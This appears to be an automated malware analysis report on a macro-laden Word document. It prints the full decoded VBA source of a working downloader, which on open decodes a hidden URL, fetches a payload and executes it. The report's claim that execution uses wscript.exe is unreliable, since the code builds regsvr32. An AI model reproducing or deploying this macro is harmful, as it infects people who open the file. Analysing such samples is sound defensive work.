Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d4848fde6fe4150a…

MALICIOUS

Office (OOXML)

116.1 KB Created: 2020-07-23 08:54:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 0670c01a6851292c8d3cdb7e5bf9b6f5 SHA-1: b7a9da714e37eb867d1da7e71151d238fa80e4e2 SHA-256: d4848fde6fe4150a88389dbc9ce4faec123595c973210f87a19b496dd211f032
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The AutoOpen macro is triggered upon opening, which then calls a function to download a file named 'Ub.pdf' from an embedded URL. The script then executes this downloaded file using 'wscript.exe'. This indicates a downloader pattern aiming to execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal uo As LongPtr, ByVal BW As String, ByVal sL As String, ByVal dM As LongPtr, ByVal oq As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    eZ = i(c4)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4215 bytes
SHA-256: 086363ed46b52d1c600b077e48fd85d60c44d26860bc588c057a5fd9dbe5e8d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Sw"
Public Const D As String = "Ub.pdf"
Function i(fZ)
vs = hF(fZ)
For ir = 0 To UBound(vs)
 db = db & Chr(vs(ir) Xor 1)
Next ir
i = db
End Function
Function hF(fZ)
hF = Split(fZ, " ")
End Function
Sub autoopen()
eZ = i(c4)

' Approaches url effusion jeans tools
' Zodiac dictatorial
' Toddler dilate audience
' Antiquary
' Bowl pointing esquire
frm.download eZ, D

' Blue floppy

' Dispute alfalfa style
' Ego suffolk created slug direct
' Distillation jail
' Spilt avon dray vietnam carry staggers punctual abbreviation

' Ashley lenses entree invisibly
' Airplane hash sinuous clang df hawaiian
' Darn englishwoman agitate childrens
' Service laos concave fils updates
' Quarter threads

' Avoiding remarkable
' Plagiarism happen journals
' Marsh ibrahim athletics
' Compulsory
' Student

' Aviator
' Jacobus scanners elucidate voracious
' Dollar voyeurweb chan exuberant hangman
Dim Tw As New WshShell

' Blow spain bowman primal vegetarian
' Paulo burns
Call Tw.run(hn & m & "32 " + D)
End Sub

Attribute VB_Name = "Sw1"
Sub E8()

' Amass jubilant archibald
' Way key
' Implacable long-winded

' Wallace cho
' Roland sunder mariah
' Camps
' Bizrate graphical galore exhibits stuck

' Transplant trial topping
' Cm istanbul drives conspiracy intrepid
' Rocket sent
' Faq tangible burmese sharpness
' Overnight invoice upholstered concepts

' Pairs filly undeveloped
' Belkin
' Attempt ci accountability
' Wallis legitimate feet

' Ochre hoard angelic
' Grocery intensify queens
' Elated scan
' Tryst reader

' Signs
' Filly
' Scour hepatitis Word downloadable commonly

' Powell reggae universe feasible
' Nipple honors tom erroneously
' Assimilation jeans albert sensitivity westminster planning
' Battle convulsion prays sidon

' Ferry covert bug
' Ulster irresolute preparing with
' Gary perplex unsaid paramour arbor terrify

' Attractions tag six larva
' Magnificently shot stringent members
' Honey antivirus nonce apprise conglomerate
' Critical tour soul
' Spence handmaiden stallion storied calculators

' Consequences feud
' Fraternity

' Pt. snowstorm talent printers outline
' Nomination kaleidoscope quicksilver bc commissioners garbage
' Overdone capriciously australian cramps victual
' Gold automobile governing

' Flowers emanation antagonism hump menstruation pasha
' Amenities ai unfold ewer builders
' Kinsmen advocacy sou skill illimitable
' Quotes necessary
' Patches
End Sub

Attribute VB_Name = "MR"
Public Const hn As String = "reg"
Public Const m As String = "svr"
Public Const c4 As String = "105 117 117 113 59 46 46 115 100 101 103 98 113 104 47 98 110 108 46 121 100 108 98 109 46 104 99 96 47 113 105 113 62 109 60 116 111 117 54 47 98 96 99 33"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal uo As LongPtr, ByVal BW As String, ByVal sL As String, ByVal dM As LongPtr, ByVal oq As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal uo As Long, ByVal BW As String, ByVal sL As String, ByVal dM As Long, ByVal oq As Long) As Long
#End If
Function zL()

' Albania epic refectory
' Classic shopper prodigal prism recount posts

' Ppc left dialectic soto
' Emirates aroma wile turquoise strawberry
' Wickedly puncture calcareous
' Novelty bias woolly
' Martial join collectibles
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{B27C86B5-8184-47C5-95E2-96F70C027D9E}{55DCE0B6-29F3-46F4-85C4-3B56C93CE434}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: acfcfb9ba4af7e34a7bc81b0e508db8b4d29f8ec9a2c4e06314df28619f98640